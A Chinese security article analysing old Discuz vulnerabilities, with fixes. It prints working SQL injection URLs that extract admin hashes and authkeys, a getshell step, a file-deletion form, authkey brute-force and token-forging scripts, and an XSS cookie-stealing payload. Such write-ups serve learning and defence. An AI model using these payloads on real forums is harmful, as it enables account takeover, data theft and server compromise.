查看原文
其他

Discuz历史漏洞分析

IT服务圈儿 2022-09-11

The following article is from 脚本之家 Author cldnite

IT服务圈儿

有温度、有态度的IT自媒体平台



Author: cldnite

Discuz是非常受欢迎的论坛型CMS,但是近年来DZ也爆出了很多经典漏洞,以下分析了几个不同类型的DZ历史漏洞(SQL注入、XSS、任意文件删除、弱加密算法、任意代码执行、HTTP HOST攻击等),提高安全人员的安全意识。

一、Discuz7.2 /faq.php sql注入

version: <= 7.2

0. 漏洞分析

漏洞发生在页面faq.php中148行,源码如下:

  1. elseif($action == 'grouppermission'){

  2. ...

  3. ksort($gids);

  4. $groupids = array();

  5. foreach($gids as $row){

  6. $groupids[] = $row[0];

  7. }

  8. $query = $db->query("SELECT * FROM {$tablpre} usergoups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

  9. }

首先对数组$gids按照其关键字进行升序操作,然后定义了一个数组,groupids,然后遍历gids数组,将gids数组的第0个元素取出,放入groupids中。,之后使用implodeids()函数生成一个字符串带入sql查询语句中。

为什么会出问题呢?

discuz在全局会对GET数组进行addslashes转义,也就是说会将 '转义成 ',所以,如果我们的传入的参数是:gids[1]= '的话,会被转义成$gids[1]= ',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第0个字符,也就是 ,这样就会把转义符号取出来了。

此时, $groupids={'1','', '3', '4'}。

然后看implodeids()函数,在global.fanc.php文件中

  1. function implodeids($array){

  2. if(!empty($array)){

  3. return "'".implode("','", is_array($array) ? $array:array($array))."'";

  4. }else{

  5. return '';

  6. }

  7. }

就是把数组各个值使用 ,连接到一起。

那么$groupids经过该函数之后就变为 '1','','3','4'

此时就出现了问题,因为第四个单引号由于左边的右斜杠存在而被强制转译为单引号字符。不会再与第三个单引号闭合,此时,第三个单引号将与第五个单引号形成闭合,3位置就出现了逃逸现象,此时构造3位置为payload即可形成注入。 3处输入右括号与前面进行封闭,然后and+一个新的查询语句即可。

eg:

http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23

1. 获取数据库版本信息

  1. http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema%20.tables%20group%20by%20x)a)%23

  1. http://192.168.1.128:83/faq.php?action=grouppermission&gids[80]=%27&gids[81][0]=)%20and%20updatexml(1,concat(0x7e,(select%20@@version)),1)%23

输出: (去掉最后的 1)

  1. Discuz! info: MySQL Query Error


  2. Time: 2018-2-22 7:18pm

  3. Script: /faq.php


  4. SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema .tables group by x)a)#')

  5. Error: Duplicate entry '5.1.731' for key 'group_key'

  6. Errno.: 1062

  1. Discuz! info: MySQL Query Error


  2. Time: 2018-2-22 7:19pm

  3. Script: /faq.php


  4. SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and updatexml(1,concat(0x7e,(select @@version)),1)#')

  5. Error: XPATH syntax error: '~5.1.73'

  6. Errno.: 1105

2. 爆出账号+密码+salt

  1. http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20cdb_uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

输出:

  1. Discuz! info: MySQL Query Error


  2. Time: 2018-2-22 7:22pm

  3. Script: /faq.php


  4. SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from [Table]uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#')

  5. Error: Duplicate entry 'admin:072477361d5e9b594814262dba9fb3e0:9b49971' for key 'group_key'

  6. Errno.: 1062

3. 获取key

由于authkey的长度限制,只能是62个长度单位,并且由于不能修改exp内容(修改后不能暴库),所以采用两次获取的的方法,先获取前62位,在获取后2位

1.获取前62个长度的key


  1. http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,1,62)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23


2.获取后2位key


  1. http://192.168.1.128:83/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x3a,(select%20substr(authkey,63,64)%20from%20cdb_uc_applications%20limit%200,1),0x3a)x%20from%20information_schema.tables%20group%20by%20x)a)%23

输出:

  1. Discuz! info: MySQL Query Error


  2. Time: 2018-2-22 7:30pm

  3. Script: /faq.php


  4. SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from [Table]uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)#')

  5. Error: Duplicate entry '1:ZbkfKfD6F7gdL4M0QfLff4Vdua8210Lau19670t71bJ933G4s6V7hakeU3C3I7' for key 'group_key'

  6. Errno.: 1062


  7. Similar error report has been dispatched to administrator before.

  1. Discuz! info: MySQL Query Error


  2. Time: 2018-2-22 7:31pm

  3. Script: /faq.php


  4. SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','',') and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,63,64) from [Table]uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)#')

  5. Error: Duplicate entry '1:p2:' for key 'group_key'

  6. Errno.: 1062


  7. Similar error report has been dispatched to administrator before.

所以 key 的值为:ZbkfKfD6F7gdL4M0QfLff4Vdua8210Lau19670t71bJ933G4s6V7hakeU3C3I7p2

上述过程可写成脚本直接利用:https://github.com/b4zinga/Explib/blob/master/discuz.py

4. 利用uc_key拿shell

PHPphp uckeygetshell.php

  • 输出结果:

  1. PS E:Discuz> D:ProgramFilesphpStudyphpphp-5.4.45php.exe .getshell.php

  2. HTTP/1.1 200 OK

  3. Server: nginx/1.12.2

  4. Date: Thu, 22 Feb 2018 14:48:15 GMT

  5. Content-Type: text/html

  6. Transfer-Encoding: chunked

  7. Connection: close

  8. X-Powered-By: PHP/5.3.3


  9. 1

  10. 1

  11. 0


  12. HTTP/1.1 200 OK

  13. Server: nginx/1.12.2

  14. Date: Thu, 22 Feb 2018 14:48:15 GMT

  15. Content-Type: text/html

  16. Transfer-Encoding: chunked

  17. Connection: close

  18. X-Powered-By: PHP/5.3.3


  19. 1

  20. 1

  21. 0

直接菜刀链接 http://192.168.1.128:83/config.inc.php 密码 DOM

5. 修复建议

1.直接删除faq.php文件。该文件为显示论坛帮助用的,功能相对独立,可以在服务器禁止该文件的访问,或者直接删除,对论坛常规功能没有任何影响。

2.修复faq.php查找 }elseif($action=='grouppermission'){

修改 $groups=$grouplist=array();$groups=$grouplist=$gids=array();即可。

6. reference

1. http://www.freebuf.com/vuls/37643.html2. 2.http://blog.csdn.net/yiyefangzhou24/article/details/36913287/3. 3.http://blog.csdn.net/u013473481/article/details/182526414. 4.https://github.com/b4zinga/Explib/blob/master/discuz.py


二、Discuz!X 任意文件删除

version: Discuz! X3.3、Discuz! X3.2、Discuz! X3.1、Discuz! X2.5

0. 漏洞分析

核心问题在 upload/source/include/spacecp/spacecp_profile.php

  1. if($_GET['deletefile'] && is_array($_GET['deletefile'])) {

  2. foreach($_GET['deletefile'] as $key => $value) {

  3. if(isset($_G['cache']['profilesetting'][$key])) {

  4. echo (getglobal('setting/attachdir').'./profile/'.$space[$key]);

  5. @unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

  6. @unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);

  7. $verifyarr[$key] = $setarr[$key] = '';

  8. }

  9. }

  10. }

发现 $_GET['deletefile']没有任何处理, $space[$key]来自:

  1. $space = getuserbyuid($_G['uid']);

  2. space_merge($space, 'field_home');

  3. space_merge($space, 'profile');

所以我们需要在 $space变量中找到一个存在需要被删除的文件的位置, 这里使用 birthprovince

我们第一次在 birthprovince里加上我们要删除的文件然后保存资料, 下次我们提交 $_GET['deletefile'][birthprovince], 那么 $space[birthprovince]指向的文件就会被删除.

也就是说,我们提交birthprovince为 ../../../robots.txt保存完之后,数据库里的 $space['birthprovice']会成为 ../../../robots.txt,当我们提交 $_GET['deletefile'][birthprovince]的时候,会去删除 $space['birthprovice']指向的文件。

1. 利用过程

登陆后提交: birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0(注意, 85cf7ef0是你的formhash)。到 http://localhost/dx/home.php?mod=spacecp&ac=profile&op=base ,提示保存成功后,你的birthprovince就是 ../../../robots.txt,产生的 $space['birthprovince']就是 ../../../robots.txt了。

接下来我们来进行参数的操作,提交: birthprovince=../../../robots.txt&profilesubmit=1&formhash=85cf7ef0 到 http://localhost/study/dx/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaaOK,文件就被顺利删除了。

2. 复现过程

准备

  • 新建DZ账户test,选择个人资料页面 http://192.168.1.128/home.php?mod=spacecp&ac=profile

  • 查看网页源代码,找到formhash对应的值: formhash=41543b82

  • 在网站根目录新建test.txt文件,作为测试使用

a. 使用firefox hackbar插件, 向个人资料页面 http://192.168.1.128/home.php?mod=spacecp&ac=profilePOST发送数据 birthprovince=../../../test.txt&profilesubmit=1&formhash=41543b82,然后刷新页面,如下所示:

b. 本地新建html表单

  1. <form action="http://192.168.1.128/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa" method="POST" enctype="multipart/form-data">

  2. <input type="file" name="birthprovince" id="file" />

  3. <input type="text" name="formhash" value="41543b82"/></p>

  4. <input type="text" name="profilesubmit" value="1"/></p>

  5. <input type="submit" value="Submit" />

  6. </from>

双击打开后,随便选择本地图片上传, 即可删除test.txt文件。

注:若上传失败,请重新刷新页面,找到formhash对应的值在表单中进行替换.因为每次刷新页面formhash对应的值都会改变.

3. 修复建议

删除相关代码。

详见Discuz码云:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

4. reference

1. http://www.freebuf.com/vuls/149904.html

2. https://www.seebug.org/vuldb/ssvid-96608

3. https://www.seebug.org/vuldb/ssvid-93588


三、 Discuz X3.3 authkey 生成算法的安全性漏洞

version: 3.3 / 3.2 / 2.5

0. 漏洞分析

dz3.3/upload/install/index.php 346行

  1. $authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);

  2. $_config['db'][1]['dbhost'] = $dbhost;

  3. $_config['db'][1]['dbname'] = $dbname;

  4. $_config['db'][1]['dbpw'] = $dbpw;

  5. $_config['db'][1]['dbuser'] = $dbuser;

  6. $_config['db'][1]['tablepre'] = $tablepre;

  7. $_config['admincp']['founder'] = (string)$uid;

  8. $_config['security']['authkey'] = $authkey;

  9. $_config['cookie']['cookiepre'] = random(4).'_';

  10. $_config['memory']['prefix'] = random(6).'_';

可以看到authkey是多个参数的md5前6位加上random生成的10位产生的。跟入random函数

  1. function random($length){

  2. $hash='';

  3. $chars='ABCDEFGHIGKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';

  4. $max = strlen($chars)-1;

  5. PHP_VERSION < '4.2.0' && mt_srand((double)microtime()*1000000);

  6. for($i = 0; $i < $length; $i++){

  7. $hash .= $chars[mt_rand(0, $max)];

  8. }

  9. return $hash;

  10. }

看到,当php版本大4.2.0时,随机数种子不会改变看到生成authkey之后,使用random函数生成了4位cookie前缀 $_config['cookie']['cookiepre']=random(4).'_';那么这4位cookie前缀就是我们可以得到的,那我们就可以使用字符集加上4位已知字符,爆破随机数种子。

思路:

通过已知的4位,算出random使用的种子,进而得到authkey的后10位。那剩下的就需要搞定前6位,根据其生成算法,只号选择爆破的方式,由于数量太大,就一定要选择一个本地爆破的方法(即使用到authkey而且加密后的结果时已知的)。

在调用authcode函数很多的地方都可以进行校验,在这里使用找回密码链接中的id和sign参数:

sign生成的方法如下:

  1. function dsign($str, $length = 16){

  2. return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) : 16));

  3. }

爆破authkey的流程:

1.通过cookie前缀爆破随机数的seed。使用phpmtseed工具。

2.用seed生成random(10),得到所有可能的authkey后缀。

3.给自己的账号发送一封找回密码邮件,取出找回密码链接。

4.用生成的后缀爆破前6位,范围是 0x000000-0xffffff,和找回密码url拼接后做MD5求出sign。

5.将求出的sign和找回密码链接中的sign对比,相等即停止,获取当前的authkey。

1. 利用过程

1.首先获得4位字符 sVsZ


2.然后通过脚本生成用于 php_mt_seed的参数


  1. # -*- coding: utf-8 -*-

  2. w_len = 10

  3. result = ""

  4. str_list = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"

  5. length = len(str_list)

  6. for i in xrange(w_len):

  7. result+="0 "

  8. result+=str(length-1)

  9. result+=" "

  10. result+="0 "

  11. result+=str(length-1)

  12. result+=" "

  13. sstr = "sVsZ"

  14. for i in sstr:

  15. result+=str(str_list.index(i))

  16. result+=" "

  17. result+=str(str_list.index(i))

  18. result+=" "

  19. result+="0 "

  20. result+=str(length-1)

  21. result+=" "

  22. print result


  23. ------输出------

  24. 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 54 54 0 61 21 21 0 61 54 54 0 61 25 25 0 61

得到参数,使用phpmtseed脚本

./php_mt_seed0610610610610610610610610610610610610610610610610610610610615454061212106154540612525061>result.txt

这里获得了245组种子,接下来使用随机数种子生成随机字符串

  1. <?php

  2. function random($length) {

  3. $hash = '';

  4. $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';

  5. $max = strlen($chars) - 1;

  6. PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);

  7. for($i = 0; $i < $length; $i++) {

  8. $hash .= $chars[mt_rand(0, $max)];

  9. }

  10. return $hash;

  11. }

  12. $fp = fopen('result.txt', 'rb');

  13. $fp2 = fopen('result2.txt', 'wb');

  14. while(!feof($fp)){

  15. $b = fgets($fp, 4096);

  16. if(preg_match("/seed = (d)+/", $b, $matach)){

  17. $m = $matach[0];

  18. }else{

  19. continue;

  20. }

  21. // var_dump(substr($m,7));

  22. mt_srand(substr($m,7));

  23. fwrite($fp2, random(10)."
    "
    );

  24. }

  25. fclose($fp);

  26. fclose($fp2);


当我们获得了所有的后缀时,我们需要配合爆破6位字符(0-9a-f)来验证authkey的正确性,由于数量差不多16*6200+,为了在有限的时间内爆出来,所以我们选择一个本地爆破方式。

这里我们使用找回密码中的id和sign参数,如下:

当我们点击忘记密码的时候,会进入 /source/module/member/member_lostpasswd.php65行用于验证sign的值:

  1. $get_passwd_message = lang(

  2. 'email',

  3. 'get_passwd_message',

  4. array(

  5. 'username' => $member['username'],

  6. 'bbname' => $_G['setting']['bbname'],

  7. 'siteurl' => $_G['siteurl'],

  8. 'uid' => $member['uid'],

  9. 'idstring' => $idstring,

  10. 'clientip' => $_G['clientip'],

  11. 'sign' => make_getpws_sign($member['uid'], $idstring),

  12. )

  13. );

跟随makegetpwssign函数进入 /source/function/function_member.php

  1. function make_getpws_sign($uid, $idstring) {

  2. global $_G;

  3. $link = "{$_G['siteurl']}member.php?mod=getpasswd&uid={$uid}&id={$idstring}";

  4. return dsign($link);

  5. }

然后进入dsign函数,配合authkey生成结果:

  1. function dsign($str, $length = 16){

  2. return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) :1 6));

  3. }

这里我们可以用python模拟这个过程,然后通过找回密码获得uid、id、sign,爆破判断结果。

找回密码得到链接 <http://192.168.1.128:86/member.php?mod=getpasswd&uid=2&id=S9YzPy&sign=bc8e1a4c6b4cfb51

  1. # coding=utf-8

  2. import itertools

  3. import hashlib

  4. import time

  5. def dsign(authkey):

  6. url = "http://127.0.0.1/dz3.3/"

  7. idstring = "vnY6nW"

  8. uid = 2

  9. uurl = "{}member.php?mod=getpasswd&uid={}&id={}".format(url, uid, idstring)

  10. url_md5 = hashlib.md5(uurl+authkey)

  11. return url_md5.hexdigest()[:16]

  12. def main():

  13. sign = "af3b937d0132a06b"

  14. str_list = "0123456789abcdef"

  15. with open('result2.txt') as f:

  16. ranlist = [s[:-1] for s in f]

  17. s_list = sorted(set(ranlist), key=ranlist.index)

  18. r_list = itertools.product(str_list, repeat=6)

  19. print "[!] start running...."

  20. s_time = time.time()

  21. for j in r_list:

  22. for s in s_list:

  23. prefix = "".join(j)

  24. authkey = prefix + s

  25. # print dsign(authkey)

  26. if dsign(authkey) == sign:

  27. print "[*] found used time: " + str(time.time() - s_time)

  28. return "[*] authkey found: " + authkey

  29. print main()

差不多一个小时就可以获得结果

2. 危害利用

修改任意用户邮箱,通过修改邮箱,我们可以使用忘记密码功能来重置任意用户的密码

注册新用户,申请修改邮箱,我们会收到一封邮件,验证地址为:http://192.168.1.128:86/home.php?mod=misc&ac=emailcheck&hash=cfachSZvnIe0KdIuOQA7oPbL9O8cHpTRrhUz%2FdDvoIbioTzYHRlHC0dv60hpE%2BSYIZLCoD2mSlbiQA5pj0ABanw6pGc

跟入 /source/include/misc/misc_emailcheck.php如下:

  1. <?php

  2. /**

  3. * [Discuz!] (C)2001-2099 Comsenz Inc.

  4. * This is NOT a freeware, use is subject to license terms

  5. *

  6. * $Id: misc_emailcheck.php 33688 2013-08-02 03:00:15Z nemohou $

  7. */

  8. if(!defined('IN_DISCUZ')) {

  9. exit('Access Denied');

  10. }

  11. $uid = 0;

  12. $email = '';

  13. $_GET['hash'] = empty($_GET['hash']) ? '' : $_GET['hash'];

  14. if($_GET['hash']) {

  15. list($uid, $email, $time) = explode("", authcode($_GET['hash'], 'DECODE', md5(substr(md5($_G['config']['security']['authkey']), 0, 16))));

  16. $uid = intval($uid);

  17. }

  18. // exit($email);

  19. if($uid && isemail($email) && $time > TIMESTAMP - 86400) {

  20. $member = getuserbyuid($uid);

  21. $setarr = array('email'=>$email, 'emailstatus'=>'1');

  22. if($_G['member']['freeze'] == 2) {

  23. $setarr['freeze'] = 0;

  24. }

  25. loaducenter();

  26. $ucresult = uc_user_edit(addslashes($member['username']), '', '', $email, 1);

  27. if($ucresult == -8) {

  28. showmessage('email_check_account_invalid', '', array(), array('return' => true));

  29. } elseif($ucresult == -4) {

  30. showmessage('profile_email_illegal', '', array(), array('return' => true));

  31. } elseif($ucresult == -5) {

  32. showmessage('profile_email_domain_illegal', '', array(), array('return' => true));

  33. } elseif($ucresult == -6) {

  34. showmessage('profile_email_duplicate', '', array(), array('return' => true));

  35. }

  36. if($_G['setting']['regverify'] == 1 && $member['groupid'] == 8) {

  37. $membergroup = C::t('common_usergroup')->fetch_by_credits($member['credits']);

  38. $setarr['groupid'] = $membergroup['groupid'];

  39. }

  40. updatecreditbyaction('realemail', $uid);

  41. C::t('common_member')->update($uid, $setarr);

  42. C::t('common_member_validate')->delete($uid);

  43. dsetcookie('newemail', "", -1);

  44. showmessage('email_check_sucess', 'home.php?mod=spacecp&ac=profile&op=password', array('email' => $email));

  45. } else {

  46. showmessage('email_check_error', 'index.php');

  47. }

  48. ?>

当hash传入的时候,服务端会调用authcode函数解码获得用户uid,要修改成的email,时间戳。

list($uid,$email,$time)=explode("",authcode($_GET['hash'],'DECODE',md5(substr(md5($_G['config']['security']['authkey']),0,16))));

然后经过一次判断

if($uid&&isemail($email)&&$time>TIMESTAMP-86400){

这里没有任何额外的判断,在接下来的部分,也仅仅是对uid的有效性做了判断,而uid代表用户的id值,时从1开始自增的。

也就是说,只要authcode函数解开hash的值,久能成功验证并修改邮箱。

这里我们可以直接使用authcode函数来获得hash值。


  1. <?php

  2. //Enter your code here, enjoy!

  3. function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

  4. $ckey_length = 4;

  5. $key = md5($key ? $key : UC_KEY);

  6. $keya = md5(substr($key, 0, 16));

  7. $keyb = md5(substr($key, 16, 16));

  8. $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

  9. $cryptkey = $keya.md5($keya.$keyc);

  10. $key_length = strlen($cryptkey);

  11. $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

  12. $string_length = strlen($string);

  13. $result = '';

  14. $box = range(0, 255);

  15. $rndkey = array();

  16. for($i = 0; $i <= 255; $i++) {

  17. $rndkey[$i] = ord($cryptkey[$i % $key_length]);

  18. }

  19. for($j = $i = 0; $i < 256; $i++) {

  20. $j = ($j + $box[$i] + $rndkey[$i]) % 256;

  21. $tmp = $box[$i];

  22. $box[$i] = $box[$j];

  23. $box[$j] = $tmp;

  24. }

  25. for($a = $j = $i = 0; $i < $string_length; $i++) {

  26. $a = ($a + 1) % 256;

  27. $j = ($j + $box[$a]) % 256;

  28. $tmp = $box[$a];

  29. $box[$a] = $box[$j];

  30. $box[$j] = $tmp;

  31. $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

  32. }

  33. if($operation == 'DECODE') {

  34. if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

  35. return substr($result, 26);

  36. } else {

  37. return '';

  38. }

  39. } else {

  40. return $keyc.str_replace('=', '', base64_encode($result));

  41. }

  42. }

  43. echo authcode("3test@success.com1503556905", 'ENCODE', md5(substr(md5("5e684ceqNxuCvmoK"), 0, 16)));

  44. ```

3. 修复建议

官方修复:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/bb600b8dd67a118f15255d24e6e89bd94a9bca8a

将/upload/install/index.php中:

$authkey=substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp,0,6)),8,6).random(10);

修改为:

$authkey=md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp,0,8)).random(18);

可以看到,官方将不可被获知的部分加长到32位,random位数加到18位,这样一来爆破的代价将会非常大,可以被认为不可爆破。

4. reference

1. https://lorexxar.cn/2017/08/31/dz-authkey/

2. https://www.seebug.org/vuldb/ssvid-96371


四、Discuz 后台任意代码执行漏洞

0. 漏洞分析

文件 upload/source/admincp/admincp_setting.php中2535行左右:

  1. if($operation == 'uc' && is_writeable('./config/config_ucenter.php') && $isfounder) {

  2. require_once './config/config_ucenter.php';


  3. $ucdbpassnew = $settingnew['uc']['dbpass'] == '********' ? addslashes(UC_DBPW) : $settingnew['uc']['dbpass'];

  4. $settingnew['uc']['key'] = addslashes($settingnew['uc']['key'] == '********' ? addslashes(UC_KEY) : $settingnew['uc']['key']);

在后台对UCenter的密码进行更新的时候,没有对输入的密码进行检查,直接写入到配置文件,导致我们可以闭合前面的单引号从而达到getshell的目的。

$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):$settingnew['uc']['dbpass'];

1. 利用过程

在管理员输入UCenter的密码时,对于用户的输入没有过滤,导致了输入的数据直接写入文件中,利用步骤如下:

  1. 以管理员身份登录后台

  2. 设置一个可以远程访问的mysql,密码为: 123');phpinfo();//

  3. 修改UCenter 数据库密码为上述密码

  4. 更新后即Getshell

2. 复现过程

a. 设置一个可以远程访问的mysql。

grant all on*.*to admin@'%'identifiedby'123');

php info();

//' with grant option;

b. 登陆Discuz后台,找到 “站长 -> UCenter设置” ,修改UCenter数据库服务器地址和用户名、密码,如图:

c. 提交后即可getshell

3. 修复建议

官方修复:https://gitee.com/ComsenzDiscuz/DiscuzX/commit/8446bd9e897bb19672389cc4aed42716ccd0f537

将代码:

$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):$settingnew['uc']['dbpass'];

修改为

$ucdbpassnew=$settingnew['uc']['dbpass']=='********'?addslashes(UC_DBPW):addslashes($settingnew['uc']['dbpass']);

即:利用 addslashes()对uc和dbpass的值中的双引号前添加反斜杠。

4. reference

1. https://www.seebug.org/vuldb/ssvid-96371


五、Discuz!多个版本HTTP host头部攻击

0. 漏洞分析

一般web程序程序想知道网站域名很不容易,如果用一个固定的URI来作为域名会有各种麻烦。开发人员一般是依赖HTTP Host header(比如在php里是 _SERVER[“HTTP_HOST”],jsp中 request.getServerName()),而这个header很多情况下是靠不住的。使用HTTP代理工具,如BurpSuite篡改HTTP报文头部中HOST字段时,加红框中变量即客户端提交的HOST值,该值可被注入恶意代码

1. 利用过程

测试环境:192.168.1.128:86 (Discuz! X3.3)

修改hosts 向其中添加 192.168.1.128www.myc.com 条目, ipconfig/flushdns 刷新DNS缓存,

此时浏览器访问 www.myc.com:86即可访问目标网站 192.168.1.128:86

点击找回密码,输入攻击目标的email和用户名,提交,受害人邮箱即可收到邮件:

找回密码链接为:

http://www.myc.com:86/member.php?mod=getpasswd&uid=2&id=cLOnmA&sign=1efd09d8bbbd0483

当然可以伪造得更隐秘,对于部分邮箱系统还可以配合XSS。

2. 修复方案

首次安装系统时,取得HOST值并保存为常量,不要使用类似jsp中request.getServerName( )方法引用客户端输入的hostname值。拼接生成URL时引用静态变量定义的服务器域名,或者使用相对路径生成URL。

3. reference

1. http://www.anquan.us/static/bugs/wooyun-2014-079988.html


六、Discuz 20150609 版本存储XSS

0. 漏洞分析

Discuz 在用户评论处设置了帖子管理员编辑评论的功能,由于前端JS代码处理不当导致了经过恶意构造的评论内容在经过交互后形成XSS。

1. 利用过程

首先,在评论处提交评论内容 [email=2"onmouseover="alert(2)]2[/email]

由于服务器对引号等有过滤,所以提交后,查看源码会发现引号已经被实体编码了。

[email=2&quot;onmouseover=&quot;alert(2)]2[/email]</td></tr>

对于普通用户提交的评论,管理员或者版主都有权利对其发表的评论进行管理。

当管理或版主对用户的评论点击管理时,前端 JS 代码就开始处理,弹出一个编辑框供管理或版主操作。经过dz的正则变换,str会变成 <a href="mailto:2"onmouseover="alert(2)"target="_blank">2</a>

最终 bbcode2html() 函数会返回经过转换后的 textobj.value,值为: <a href="mailto:2"onmouseover="alert(2)"target="_blank">2</a>

当管理员或者版主对其进行交互时就会触发 alert(2)

2. 补丁绕过

Discuz版本(2015-06-09)中修复了上述触发点,但是还可以绕过。

新的payload为 [email]2"onmouseover="alert(document.cookie)[/email]

结果

3. reference

1. http://blog.knownsec.com/2015/12/discuz-20150609-xss-bug-fixes-bypass-report/

七 Discuz代码执行流程

首先要熟悉DZ比较常用的几个目录:

/source/是程序模板功能函数,论坛所有的功能实现都要从主文件里面包含调用这里的模块来执行相应的操作

/data/目录是附件数据、数据库与文件缓存

/api目录是第三方接口,包含了论坛的第三方接口文件

/config为全局核心配置文件

平时审计的时候也非常注重这几个地方

不像现在大多数CMS系统使用流行开源框架在 application里面来写 ControllerController里面多个 function,Discuz的服务端功能是以模块文件的形式来加载的,也就是说一个方法可能就是一个文件,要执行的时候去调用这个文件去执行就ok了,在根目录下放着所有的主文件,外部基本上都是访问这里的主文件,在主文件里面去调用执行指定的接口模块,大致流程是这样(以spacecp_profile为例):

END. ALL

本文作者:cldnite

声明:本文为 脚本之家专栏作者 投稿,未经允许请勿转载。


*版权声明:转载文章和图片均来自公开网络,版权归作者本人所有,推送文章除非无法确认,我们都会注明作者和来源。如果出处有误或侵犯到原作者权益,请与我们联系删除或授权事宜。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存